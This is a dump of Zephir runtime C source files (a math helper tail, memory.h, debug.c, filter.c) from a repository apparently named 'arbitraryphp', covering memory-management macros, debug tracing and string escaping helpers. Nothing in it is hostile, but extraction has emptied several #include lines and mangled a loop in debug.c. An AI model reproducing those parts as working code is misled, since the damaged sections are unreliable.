zephir_get_numberval(expval); 261 | 262 | switch (Z_TYPE_P(value)) { 263 | case IS_LONG: 264 | return (double) ldexp(Z_LVAL_P(value), exp); 265 | case IS_DOUBLE: 266 | return (double) ldexp(Z_DVAL_P(value), exp); 267 | case IS_ARRAY: 268 | case IS_OBJECT: 269 | case IS_RESOURCE: 270 | zend_error(E_WARNING, "Unsupported operand types"); 271 | break; 272 | } 273 | 274 | return ldexp(zephir_get_numberval(value), exp); 275 | } 276 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/memory.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_MEMORY_H 22 | #define ZEPHIR_KERNEL_MEMORY_H 23 | 24 | #include 25 | #include 26 | #include "php_ext.h" 27 | #include "kernel/globals.h" 28 | 29 | #define ZEPHIR_NUM_PREALLOCATED_FRAMES 25 30 | 31 | /* Variable Tracking */ 32 | /** 33 | * @todo Is it safe? 34 | */ 35 | void ZEND_FASTCALL zephir_ptr_dtor(zval **var); 36 | 37 | /* Memory Frames */ 38 | #ifndef ZEPHIR_RELEASE 39 | void ZEPHIR_FASTCALL zephir_memory_grow_stack(const char *func TSRMLS_DC); 40 | int ZEPHIR_FASTCALL zephir_memory_restore_stack(const char *func TSRMLS_DC); 41 | 42 | #define ZEPHIR_MM_GROW() zephir_memory_grow_stack(NULL TSRMLS_CC) 43 | #define ZEPHIR_MM_RESTORE() zephir_memory_restore_stack(NULL TSRMLS_CC) 44 | 45 | #else 46 | void ZEPHIR_FASTCALL zephir_memory_grow_stack(TSRMLS_D); 47 | int ZEPHIR_FASTCALL zephir_memory_restore_stack(TSRMLS_D); 48 | 49 | #define ZEPHIR_MM_GROW() zephir_memory_grow_stack(TSRMLS_C) 50 | #define ZEPHIR_MM_RESTORE() zephir_memory_restore_stack(TSRMLS_C) 51 | 52 | #endif 53 | 54 | void ZEPHIR_FASTCALL zephir_memory_observe(zval **var TSRMLS_DC); 55 | void ZEPHIR_FASTCALL zephir_memory_observe_alt(zval *var TSRMLS_DC); 56 | void ZEPHIR_FASTCALL zephir_memory_remove(zval **var TSRMLS_DC); 57 | void ZEPHIR_FASTCALL zephir_memory_alloc(zval **var TSRMLS_DC); 58 | void ZEPHIR_FASTCALL zephir_memory_alloc_pnull(zval **var TSRMLS_DC); 59 | 60 | int ZEPHIR_FASTCALL zephir_clean_restore_stack(TSRMLS_D); 61 | 62 | /* Virtual symbol tables */ 63 | void zephir_create_symbol_table(TSRMLS_D); 64 | /*void zephir_restore_symbol_table(TSRMLS_D);*/ 65 | void zephir_clean_symbol_tables(TSRMLS_D); 66 | 67 | /** Export symbols to active symbol table */ 68 | int zephir_set_symbol(zval *key_name, zval *value TSRMLS_DC); 69 | int zephir_set_symbol_str(char *key_name, unsigned int key_length, zval *value TSRMLS_DC); 70 | 71 | void ZEPHIR_FASTCALL zephir_copy_ctor(zval *destiny, zval *origin); 72 | 73 | void zephir_initialize_memory(zend_zephir_globals_def *zephir_globals_ptr TSRMLS_DC); 74 | int zephir_cleanup_fcache(void *pDest TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key); 75 | void zephir_deinitialize_memory(TSRMLS_D); 76 | 77 | /* Memory macros */ 78 | #define ZEPHIR_SINIT_VAR(z) \ 79 | do { \ 80 | INIT_PZVAL(&z); \ 81 | ZVAL_NULL(&z); \ 82 | } while (0) 83 | 84 | #define ZEPHIR_SINIT_NVAR(z) Z_SET_REFCOUNT_P(&z, 1) 85 | 86 | #define ZEPHIR_INIT_ZVAL_NREF(z) \ 87 | do { \ 88 | ALLOC_ZVAL(z); \ 89 | Z_SET_REFCOUNT_P(z, 0); \ 90 | Z_UNSET_ISREF_P(z); \ 91 | } while (0) 92 | 93 | #define ZEPHIR_INIT_VAR(z) \ 94 | zephir_memory_alloc(&z TSRMLS_CC) 95 | 96 | #define ZEPHIR_INIT_NVAR(z)\ 97 | if (z) { \ 98 | if (!Z_ISREF_P(z)) { \ 99 | if (Z_REFCOUNT_P(z) > 1) { \ 100 | Z_DELREF_P(z); \ 101 | ALLOC_ZVAL(z); \ 102 | Z_SET_REFCOUNT_P(z, 1); \ 103 | Z_UNSET_ISREF_P(z); \ 104 | } else { \ 105 | zval_dtor(z); \ 106 | Z_SET_REFCOUNT_P(z, 1); \ 107 | Z_UNSET_ISREF_P(z); \ 108 | } \ 109 | ZVAL_NULL(z); \ 110 | } \ 111 | } else { \ 112 | zephir_memory_alloc(&z TSRMLS_CC); \ 113 | } 114 | 115 | /** 116 | * Second allocation, assumes the variable was allocated for the first time in the branch zero 117 | */ 118 | #define ZEPHIR_INIT_BNVAR(z) \ 119 | if (Z_REFCOUNT_P(z) > 1) { \ 120 | zephir_ptr_dtor(&z); \ 121 | ALLOC_ZVAL(z); \ 122 | Z_SET_REFCOUNT_P(z, 1); \ 123 | Z_UNSET_ISREF_P(z); \ 124 | ZVAL_NULL(z); \ 125 | } else {\ 126 | zephir_ptr_dtor(&z); \ 127 | ZEPHIR_ALLOC_ZVAL(z); \ 128 | } 129 | 130 | #define ZEPHIR_INIT_NVAR_PNULL(z)\ 131 | if (z) { \ 132 | if (Z_REFCOUNT_P(z) > 1) { \ 133 | Z_DELREF_P(z); \ 134 | if (Z_REFCOUNT_P(z) >= 1) { \ 135 | zval_copy_ctor(z); \ 136 | } \ 137 | ALLOC_ZVAL(z); \ 138 | Z_SET_REFCOUNT_P(z, 1); \ 139 | Z_UNSET_ISREF_P(z); \ 140 | } \ 141 | ZVAL_NULL(z); \ 142 | } else { \ 143 | zephir_memory_alloc_pnull(&z TSRMLS_CC); \ 144 | } 145 | 146 | /* only removes the value body of the zval */ 147 | #define ZEPHIR_INIT_LNVAR(z)\ 148 | if (z) { \ 149 | if (Z_REFCOUNT_P(z) > 1) { \ 150 | Z_DELREF_P(z); \ 151 | ALLOC_ZVAL(z); \ 152 | Z_SET_REFCOUNT_P(z, 1); \ 153 | Z_UNSET_ISREF_P(z); \ 154 | } else { \ 155 | if (!Z_ISREF_P(z)) { \ 156 | zval_dtor(z); \ 157 | } \ 158 | Z_SET_REFCOUNT_P(z, 1); \ 159 | Z_UNSET_ISREF_P(z); \ 160 | } \ 161 | ZVAL_NULL(z); \ 162 | } else { \ 163 | zephir_memory_alloc(&z TSRMLS_CC); \ 164 | } 165 | 166 | #define ZEPHIR_CPY_WRT(d, v) \ 167 | Z_ADDREF_P(v); \ 168 | if (d) { \ 169 | if (Z_REFCOUNT_P(d) > 0) { \ 170 | zephir_ptr_dtor(&d); \ 171 | } \ 172 | } else { \ 173 | zephir_memory_observe(&d TSRMLS_CC); \ 174 | } \ 175 | d = v; 176 | 177 | #define ZEPHIR_CPY_WRT_CTOR(d, v) \ 178 | if (d) { \ 179 | if (Z_REFCOUNT_P(d) > 0) { \ 180 | zephir_ptr_dtor(&d); \ 181 | } \ 182 | } else { \ 183 | zephir_memory_observe(&d TSRMLS_CC); \ 184 | } \ 185 | ALLOC_ZVAL(d); \ 186 | *d = *v; \ 187 | zval_copy_ctor(d); \ 188 | Z_SET_REFCOUNT_P(d, 1); \ 189 | Z_UNSET_ISREF_P(d); 190 | 191 | #define ZEPHIR_MAKE_REFERENCE(d, v) \ 192 | if (d) { \ 193 | if (Z_REFCOUNT_P(d) > 0) { \ 194 | zephir_ptr_dtor(&d); \ 195 | } \ 196 | } else { \ 197 | zephir_memory_observe(&d TSRMLS_CC); \ 198 | } \ 199 | ALLOC_ZVAL(d); \ 200 | Z_TYPE_P(d) = Z_TYPE_P(v); \ 201 | d->value = v->value; \ 202 | Z_SET_REFCOUNT_P(d, 1); \ 203 | Z_SET_ISREF_P(d); 204 | 205 | /* */ 206 | #define ZEPHIR_OBS_VAR(z) \ 207 | zephir_memory_observe(&z TSRMLS_CC) 208 | 209 | #define ZEPHIR_OBS_NVAR(z)\ 210 | if (z) { \ 211 | if (Z_REFCOUNT_P(z) > 1) { \ 212 | Z_DELREF_P(z); \ 213 | } else {\ 214 | zephir_ptr_dtor(&z); \ 215 | z = NULL; \ 216 | } \ 217 | } else { \ 218 | zephir_memory_observe(&z TSRMLS_CC); \ 219 | } 220 | 221 | #define ZEPHIR_OBSERVE_OR_NULLIFY_PPZV(ppzv) \ 222 | do { \ 223 | zval ** restrict tmp_ = (ppzv); \ 224 | if (tmp_ != NULL) { \ 225 | if (*tmp_) { \ 226 | zephir_ptr_dtor(tmp_); \ 227 | *tmp_ = NULL; \ 228 | } \ 229 | else { \ 230 | zephir_memory_observe((ppzv) TSRMLS_CC); \ 231 | } \ 232 | } \ 233 | } while (0) 234 | 235 | #define ZEPHIR_OBSERVE_OR_NULLIFY_VAR(z) \ 236 | do { \ 237 | if (z) { \ 238 | zephir_ptr_dtor(&z); \ 239 | z = NULL; \ 240 | } \ 241 | else { \ 242 | zephir_memory_observe(&z TSRMLS_CC); \ 243 | } \ 244 | } while (0) 245 | 246 | #define ZEPHIR_SEPARATE_ARRAY(a) \ 247 | { \ 248 | if (Z_REFCOUNT_P(a) > 1) { \ 249 | zval *new_zv; \ 250 | Z_DELREF_P(a); \ 251 | ALLOC_ZVAL(new_zv); \ 252 | INIT_PZVAL_COPY(new_zv, a); \ 253 | a = new_zv; \ 254 | zval_copy_ctor(new_zv); \ 255 | } \ 256 | } 257 | 258 | #define ZEPHIR_SEPARATE(z) SEPARATE_ZVAL(&z) 259 | 260 | #define ZEPHIR_SEPARATE_PARAM(z) \ 261 | do { \ 262 | zval *orig_ptr = z;\ 263 | zephir_memory_observe(&z TSRMLS_CC);\ 264 | ALLOC_ZVAL(z);\ 265 | *z = *orig_ptr;\ 266 | zval_copy_ctor(z);\ 267 | Z_SET_REFCOUNT_P(z, 1);\ 268 | Z_UNSET_ISREF_P(z);\ 269 | } while (0) 270 | 271 | #define ZEPHIR_SEPARATE_PARAM_NMO(z) { \ 272 | zval *orig_ptr = z; \ 273 | if (Z_REFCOUNT_P(orig_ptr) > 1) { \ 274 | ALLOC_ZVAL(z); \ 275 | *z = *orig_ptr; \ 276 | zval_copy_ctor(z); \ 277 | Z_SET_REFCOUNT_P(z, 1); \ 278 | Z_UNSET_ISREF_P(z); \ 279 | } \ 280 | } 281 | 282 | #endif 283 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/debug.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifdef HAVE_CONFIG_H 21 | #include "config.h" 22 | #endif 23 | 24 | #include 25 | #include "php_ext.h" 26 | #include "kernel/debug.h" 27 | #include "kernel/main.h" 28 | #include "kernel/string.h" 29 | 30 | #ifndef ZEPHIR_RELEASE 31 | 32 | FILE *zephir_log = NULL; 33 | int zephir_debug_trace = 0; 34 | static zephir_debug_entry *start = NULL; 35 | static zephir_debug_entry *active = NULL; 36 | 37 | /** 38 | * Stars debug on file pipe 39 | */ 40 | int zephir_start_debug(){ 41 | if(!zephir_log){ 42 | zephir_log = stderr; 43 | } 44 | return SUCCESS; 45 | } 46 | 47 | /** 48 | * Stops debug process 49 | */ 50 | int zephir_stop_debug(){ 51 | zephir_debug_entry *ptr = active; 52 | zephir_debug_entry *this_entry = NULL; 53 | while(ptr){ 54 | this_entry = ptr; 55 | ptr = ptr->prev; 56 | efree(this_entry); 57 | } 58 | 59 | zephir_log = NULL; 60 | return SUCCESS; 61 | } 62 | 63 | /** 64 | * Executes a print_r on an interal zval 65 | */ 66 | int zephir_print_r(zval *userval TSRMLS_DC){ 67 | zend_print_zval_r(userval, 0 TSRMLS_CC); 68 | return SUCCESS; 69 | } 70 | 71 | /** 72 | * Internal fast zval dump 73 | */ 74 | int zephir_vdump(zval *uservar TSRMLS_DC){ 75 | zephir_start_debug(); 76 | if(!uservar){ 77 | fprintf(zephir_log, "Null pointer\n"); 78 | return SUCCESS; 79 | } 80 | switch(Z_TYPE_P(uservar)){ 81 | case IS_NULL: 82 | fprintf(zephir_log, "NULL \n"); 83 | break; 84 | case IS_BOOL: 85 | fprintf(zephir_log, "Boolean: %s\n", Z_LVAL_P(uservar) ? "TRUE" : "FALSE"); 86 | break; 87 | case IS_LONG: 88 | fprintf(zephir_log, "Long: %ld at %p, refcount=%d\n", Z_LVAL_P(uservar), uservar, Z_REFCOUNT_P(uservar)); 89 | break; 90 | case IS_DOUBLE: 91 | fprintf(zephir_log, "Double: %f\n", Z_DVAL_P(uservar)); 92 | break; 93 | case IS_STRING: 94 | fprintf(zephir_log, "String: %s(%d) at %p, refcount=%d\n", Z_STRVAL_P(uservar), Z_STRLEN_P(uservar), uservar, Z_REFCOUNT_P(uservar)); 95 | break; 96 | case IS_RESOURCE: 97 | fprintf(zephir_log, "Resource\n"); 98 | break; 99 | case IS_ARRAY: 100 | fprintf(zephir_log, "Array at %p, refcount=%d\n", uservar, Z_REFCOUNT_P(uservar)); 101 | break; 102 | case IS_OBJECT: 103 | fprintf(zephir_log, "Object <%s> at %p\n", Z_OBJCE_P(uservar)->name, uservar); 104 | break; 105 | default: 106 | fprintf(zephir_log, "Unknown\n"); 107 | } 108 | return SUCCESS; 109 | } 110 | 111 | int zephir_dump_ce(zend_class_entry *ce TSRMLS_DC){ 112 | char *message = emalloc(sizeof(char *)*120); 113 | if(ce){ 114 | sprintf(message, "- ClassType => %d", ce->type); 115 | zephir_step_over(message); 116 | if(ce->name){ 117 | sprintf(message, "- ClassName => %s", ce->name); 118 | zephir_step_over(message); 119 | } else { 120 | zephir_step_over("- ClassName => NULL"); 121 | } 122 | } else { 123 | zephir_step_over("- NULL class entry :("); 124 | } 125 | return SUCCESS; 126 | } 127 | 128 | int zephir_class_debug(zval *val TSRMLS_DC){ 129 | char *message = emalloc(sizeof(char *)*120); 130 | zend_class_entry *ce; 131 | if(val){ 132 | ce = Z_OBJCE_P(val); 133 | if(ce){ 134 | sprintf(message, "- MemoryAddress => %p", val); 135 | zephir_step_over(message); 136 | zephir_dump_ce(ce TSRMLS_CC); 137 | } else { 138 | zephir_step_over("- No class entry :("); 139 | } 140 | } else { 141 | zephir_step_over("- this_ptr is null :("); 142 | } 143 | return SUCCESS; 144 | } 145 | 146 | /** 147 | * Append debug information to file 148 | */ 149 | int zephir_debug_str(char *what, char *message){ 150 | fprintf(zephir_log, "%s", what); 151 | fprintf(zephir_log, "%s", message); 152 | fprintf(zephir_log, "\n"); 153 | return SUCCESS; 154 | } 155 | 156 | int zephir_debug_long(char *what, uint vlong){ 157 | fprintf(zephir_log, "%s", what); 158 | fprintf(zephir_log, "%u", vlong); 159 | fprintf(zephir_log, "\n"); 160 | return SUCCESS; 161 | } 162 | 163 | int zephir_debug_screen(char *message){ 164 | zephir_debug_space(); 165 | fprintf(zephir_log, "%s\n", message); 166 | return SUCCESS; 167 | } 168 | 169 | int zephir_debug_method_call(zval *obj, char *method_name TSRMLS_DC){ 170 | if(Z_TYPE_P(obj)==IS_OBJECT){ 171 | zephir_debug_space(); 172 | } else { 173 | zephir_error_space(); 174 | } 175 | if(Z_TYPE_P(obj)==IS_OBJECT){ 176 | fprintf(zephir_log, "Calling method %s::%s on Object at %p\n", Z_OBJCE_P(obj)->name, method_name, obj); 177 | } else { 178 | fprintf(zephir_log, "Calling method %s on non object :(\n", method_name); 179 | } 180 | return SUCCESS; 181 | } 182 | 183 | int zephir_error_space(){ 184 | int i; 185 | fprintf(zephir_log, "[ERROR] "); 186 | for(i=0;i "); 204 | zephir_vdump(param TSRMLS_CC); 205 | return SUCCESS; 206 | } 207 | 208 | int zephir_debug_vdump(char *preffix, zval *value TSRMLS_DC){ 209 | zephir_debug_space(); 210 | fprintf(zephir_log, "%s", preffix); 211 | zephir_vdump(value TSRMLS_CC); 212 | return SUCCESS; 213 | } 214 | 215 | int zephir_debug_assign(char *name, zval *value TSRMLS_DC){ 216 | zephir_debug_space(); 217 | fprintf(zephir_log, "Assign on %s with ", name); 218 | zephir_vdump(value TSRMLS_CC); 219 | return SUCCESS; 220 | } 221 | 222 | int zephir_step_over(char *message){ 223 | zephir_debug_screen(message); 224 | return SUCCESS; 225 | } 226 | 227 | int zephir_step_into(char *message){ 228 | zephir_debug_trace++; 229 | zephir_debug_screen(message); 230 | return SUCCESS; 231 | } 232 | 233 | int zephir_step_out(char *message){ 234 | zephir_debug_screen(message); 235 | zephir_debug_trace--; 236 | return SUCCESS; 237 | } 238 | 239 | /** 240 | * Prints internal debug backtrace 241 | */ 242 | int zephir_debug_backtrace_internal(){ 243 | int step = 0; 244 | char *message; 245 | zephir_debug_entry *ptr = active; 246 | while(ptr){ 247 | zephir_spprintf(&message, 0, "#%d %s::%s", step, ptr->class_name, ptr->method_name); 248 | zephir_debug_screen(message); 249 | efree(message); 250 | ptr = ptr->prev; 251 | step++; 252 | } 253 | return SUCCESS; 254 | } 255 | 256 | /** 257 | * Appends a debug entry to internal execution scope 258 | */ 259 | int zephir_step_into_entry(char *class_name, char *method_name, int lineno){ 260 | 261 | char *message; 262 | zephir_debug_entry *entry; 263 | 264 | if (!start) { 265 | start = (zephir_debug_entry *) emalloc(sizeof(zephir_debug_entry)); 266 | start->class_name = "__main__"; 267 | start->method_name = "__init__"; 268 | start->lineno = 0; 269 | start->prev = NULL; 270 | start->next = NULL; 271 | active = start; 272 | } 273 | 274 | zephir_spprintf(&message, 0, "Step Into %s::%s", class_name, method_name); 275 | zephir_debug_screen(message); 276 | efree(message); 277 | 278 | entry = emalloc(sizeof(zephir_debug_entry)); 279 | entry->class_name = class_name; 280 | entry->method_name = method_name; 281 | entry->lineno = lineno; 282 | entry->prev = active; 283 | active->next = entry; 284 | active = entry; 285 | zephir_debug_trace++; 286 | 287 | return SUCCESS; 288 | } 289 | 290 | /** 291 | * Steps out current stack 292 | */ 293 | int zephir_step_out_entry(){ 294 | 295 | char *message; 296 | zephir_debug_entry *prev; 297 | if(active){ 298 | 299 | zephir_debug_trace--; 300 | 301 | zephir_spprintf(&message, 0, "Step out %s::%s", active->class_name, active->method_name); 302 | zephir_debug_screen(message); 303 | efree(message); 304 | 305 | prev = active->prev; 306 | efree(active); 307 | active = prev; 308 | 309 | } else { 310 | fprintf(zephir_log, "Problem, stack?"); 311 | return FAILURE; 312 | } 313 | return SUCCESS; 314 | } 315 | 316 | #endif 317 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/filter.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifdef HAVE_CONFIG_H 21 | #include "config.h" 22 | #endif 23 | 24 | #include 25 | 26 | #include "php.h" 27 | #include "php_ext.h" 28 | #include "php_main.h" 29 | #include "ext/standard/php_smart_str.h" 30 | #include "ext/standard/php_math.h" 31 | #include "ext/standard/html.h" 32 | 33 | #include "kernel/main.h" 34 | #include "kernel/memory.h" 35 | 36 | #include "Zend/zend_exceptions.h" 37 | #include "Zend/zend_interfaces.h" 38 | 39 | /** 40 | * Filter alphanum string 41 | */ 42 | void zephir_filter_alphanum(zval *return_value, zval *param) { 43 | 44 | unsigned int i; 45 | unsigned char ch; 46 | smart_str filtered_str = {0}; 47 | zval copy; 48 | int use_copy = 0; 49 | 50 | if (Z_TYPE_P(param) != IS_STRING) { 51 | zend_make_printable_zval(param, ©, &use_copy); 52 | if (use_copy) { 53 | param = © 54 | } 55 | } 56 | 57 | for (i = 0; i < Z_STRLEN_P(param); i++) { 58 | ch = Z_STRVAL_P(param)[i]; 59 | if (ch == '\0') { 60 | break; 61 | } 62 | if (isalnum(ch)) { 63 | smart_str_appendc(&filtered_str, ch); 64 | } 65 | } 66 | 67 | if (use_copy) { 68 | zval_dtor(param); 69 | } 70 | 71 | smart_str_0(&filtered_str); 72 | 73 | if (filtered_str.c) { 74 | RETURN_STRINGL(filtered_str.c, filtered_str.len, 0); 75 | } else { 76 | RETURN_EMPTY_STRING(); 77 | } 78 | } 79 | 80 | /** 81 | * Filter identifiers string like variables or database columns/tables 82 | */ 83 | void zephir_filter_identifier(zval *return_value, zval *param){ 84 | 85 | unsigned int i; 86 | unsigned char ch; 87 | zval copy; 88 | smart_str filtered_str = {0}; 89 | int use_copy = 0; 90 | 91 | if (Z_TYPE_P(param) != IS_STRING) { 92 | zend_make_printable_zval(param, ©, &use_copy); 93 | if (use_copy) { 94 | param = © 95 | } 96 | } 97 | 98 | for (i = 0; i < Z_STRLEN_P(param); i++) { 99 | ch = Z_STRVAL_P(param)[i]; 100 | if (ch == '\0') { 101 | break; 102 | } 103 | if (isalnum(ch) || ch == '_') { 104 | smart_str_appendc(&filtered_str, ch); 105 | } 106 | } 107 | 108 | if (use_copy) { 109 | zval_dtor(param); 110 | } 111 | 112 | smart_str_0(&filtered_str); 113 | 114 | if (filtered_str.c) { 115 | RETURN_STRINGL(filtered_str.c, filtered_str.len, 0); 116 | } else { 117 | RETURN_EMPTY_STRING(); 118 | } 119 | 120 | } 121 | 122 | /** 123 | * Check if a string is encoded with ASCII or ISO-8859-1 124 | */ 125 | void zephir_is_basic_charset(zval *return_value, const zval *param){ 126 | 127 | unsigned int i; 128 | unsigned int ch; 129 | int iso88591 = 0; 130 | 131 | for (i = 0; i < Z_STRLEN_P(param); i++) { 132 | ch = Z_STRVAL_P(param)[i]; 133 | if (ch != '\0') { 134 | if (ch == 172 || (ch >= 128 && ch <= 159)) { 135 | continue; 136 | } 137 | if (ch >= 160 && ch <= 255) { 138 | iso88591 = 1; 139 | continue; 140 | } 141 | } 142 | RETURN_FALSE; 143 | } 144 | 145 | if (!iso88591) { 146 | RETURN_STRING("ASCII", 1); 147 | } 148 | 149 | RETURN_STRING("ISO-8859-1", 1); 150 | } 151 | 152 | static long zephir_unpack(char *data, int size, int issigned, int *map) 153 | { 154 | long result; 155 | char *cresult = (char *) &result; 156 | int i; 157 | 158 | result = issigned ? -1 : 0; 159 | 160 | for (i = 0; i < size; i++) { 161 | cresult[map[i]] = *data++; 162 | } 163 | 164 | return result; 165 | } 166 | 167 | /** 168 | * Converts an unsigned long to a char* 169 | */ 170 | static inline char *zephir_longtohex(unsigned long value) { 171 | 172 | static char digits[] = "0123456789abcdef"; 173 | char buf[(sizeof(unsigned long) << 3) + 1]; 174 | char *ptr, *end; 175 | 176 | end = ptr = buf + sizeof(buf) - 1; 177 | *ptr = '\0'; 178 | do { 179 | *--ptr = digits[value & 0x0F]; 180 | value >>= 4; 181 | } while (ptr > buf && value); 182 | 183 | return estrndup(ptr, end - ptr); 184 | } 185 | 186 | /** 187 | * Perform escaping of non-alphanumeric characters to different formats 188 | */ 189 | void zephir_escape_multi(zval *return_value, zval *param, const char *escape_char, unsigned int escape_length, char escape_extra, int use_whitelist) { 190 | 191 | unsigned int i; 192 | zval copy; 193 | smart_str escaped_str = {0}; 194 | char machine_little_endian, *hex; 195 | int big_endian_long_map[4]; 196 | int use_copy = 0, machine_endian_check = 1; 197 | int issigned = 0; 198 | long value; 199 | 200 | if (Z_TYPE_P(param) != IS_STRING) { 201 | zend_make_printable_zval(param, ©, &use_copy); 202 | if (use_copy) { 203 | param = © 204 | } 205 | } 206 | 207 | if (Z_STRLEN_P(param) <= 0) { 208 | RETURN_FALSE; 209 | } 210 | 211 | /** 212 | * This is how the big_ending_long_map is calculated as in 'pack' 213 | */ 214 | machine_little_endian = ((char *) &machine_endian_check)[0]; 215 | if (machine_little_endian) { 216 | big_endian_long_map[0] = 3; 217 | big_endian_long_map[1] = 2; 218 | big_endian_long_map[2] = 1; 219 | big_endian_long_map[3] = 0; 220 | } else { 221 | int size = sizeof(Z_LVAL_P(param)); 222 | big_endian_long_map[0] = size - 4; 223 | big_endian_long_map[1] = size - 3; 224 | big_endian_long_map[2] = size - 2; 225 | big_endian_long_map[3] = size - 1; 226 | } 227 | 228 | /** 229 | * The input must be a valid UTF-32 string 230 | */ 231 | if ((Z_STRLEN_P(param) % 4) != 0) { 232 | RETURN_FALSE; 233 | } 234 | 235 | for (i = 0; i < Z_STRLEN_P(param); i += 4) { 236 | 237 | issigned = Z_STRVAL_P(param)[i] & 0x80; 238 | 239 | value = 0; 240 | if (sizeof(long) > 4 && issigned) { 241 | value = ~INT_MAX; 242 | } 243 | 244 | value |= zephir_unpack(&Z_STRVAL_P(param)[i], 4, issigned, big_endian_long_map); 245 | if (sizeof(long) > 4) { 246 | value = (unsigned int) value; 247 | } 248 | 249 | /** 250 | * CSS 2.1 section 4.1.3: "It is undefined in CSS 2.1 what happens if a 251 | * style sheet does contain a character with Unicode codepoint zero." 252 | */ 253 | if (value == '\0') { 254 | RETURN_FALSE; 255 | } 256 | 257 | /** 258 | * Alphanumeric characters are not escaped 259 | */ 260 | if (value < 256 && isalnum(value)) { 261 | smart_str_appendc(&escaped_str, (unsigned char) value); 262 | continue; 263 | } 264 | 265 | /** 266 | * Chararters in the whitelist are left as they are 267 | */ 268 | if (use_whitelist) { 269 | switch (value) { 270 | case ' ': 271 | case '/': 272 | case '*': 273 | case '+': 274 | case '-': 275 | case '\t': 276 | case '\n': 277 | case '^': 278 | case '$': 279 | case '!': 280 | case '?': 281 | case '\\': 282 | case '#': 283 | case '}': 284 | case '{': 285 | case ')': 286 | case '(': 287 | case ']': 288 | case '[': 289 | case '.': 290 | case ',': 291 | case ':': 292 | case ';': 293 | case '_': 294 | case '|': 295 | smart_str_appendc(&escaped_str, (unsigned char) value); 296 | continue; 297 | } 298 | } 299 | 300 | /** 301 | * Convert character to hexadecimal 302 | */ 303 | hex = zephir_longtohex(value); 304 | 305 | /** 306 | * Append the escaped character 307 | */ 308 | smart_str_appendl(&escaped_str, escape_char, escape_length); 309 | smart_str_appendl(&escaped_str, hex, strlen(hex)); 310 | if (escape_extra != '\0') { 311 | smart_str_appendc(&escaped_str, escape_extra); 312 | } 313 | 314 | efree(hex); 315 | } 316 | 317 | if (use_copy) { 318 | zval_dtor(param); 319 | } 320 | 321 | smart_str_0(&escaped_str); 322 | 323 | if (escaped_str.c) { 324 | RETURN_STRINGL(escaped_str.c, escaped_str.len, 0); 325 | } else { 326 | RETURN_EMPTY_STRING(); 327 | } 328 | } 329 | 330 | /** 331 | * Escapes non-alphanumeric characters to \HH+space 332 | */ 333 | void zephir_escape_css(zval *return_value, zval *param) { 334 | zephir_escape_multi(return_value, param, "\\", sizeof("\\")-1, ' ', 0); 335 | } 336 | 337 | /** 338 | * Escapes non-alphanumeric characters to \xHH+ 339 | */ 340 | void zephir_escape_js(zval *return_value, zval *param) { 341 | zephir_escape_multi(return_value, param, "\\x", sizeof("\\x")-1, '\0', 1); 342 | } 343 | 344 | /** 345 | * Escapes non-alphanumeric characters to &xHH; 346 | */ 347 | void zephir_escape_htmlattr(zval *return_value, zval *param) { 348 | zephir_escape_multi(return_value, param, "&#x", sizeof("&#x")-1, ';', 1); 349 | } 350 | 351 | /** 352 | * Escapes HTML replacing special chars by entities 353 | */ 354 | void zephir_escape_html(zval *return_value, zval *str, zval *quote_style, zval *charset TSRMLS_DC) { 355 | size_t length; 356 | 357 | char *escaped; 358 | 359 | if (Z_TYPE_P(str) != IS_STRING) { 360 | /* Nothing to escape */ 361 | RETURN_ZVAL(str, 1, 0); 362 | } 363 | 364 | if (Z_TYPE_P(quote_style) != IS_LONG) { 365 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid quote_style supplied for zephir_escape_html()"); 366 | RETURN_ZVAL(str, 1, 0); 367 | } 368 | 369 | if (Z_TYPE_P(charset) != IS_STRING) { 370 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid charset supplied for zephir_escape_html()"); 371 | RETURN_ZVAL(str, 1, 0); 372 | } 373 | 374 | escaped = php_escape_html_entities((unsigned char*) Z_STRVAL_P(str), Z_STRLEN_P(str), &length, 0, Z_LVAL_P(quote_style), Z_STRVAL_P(charset) TSRMLS_CC); 375 | 376 | RETURN_STRINGL(escaped, length, 0); 377 | } 378 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/object.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 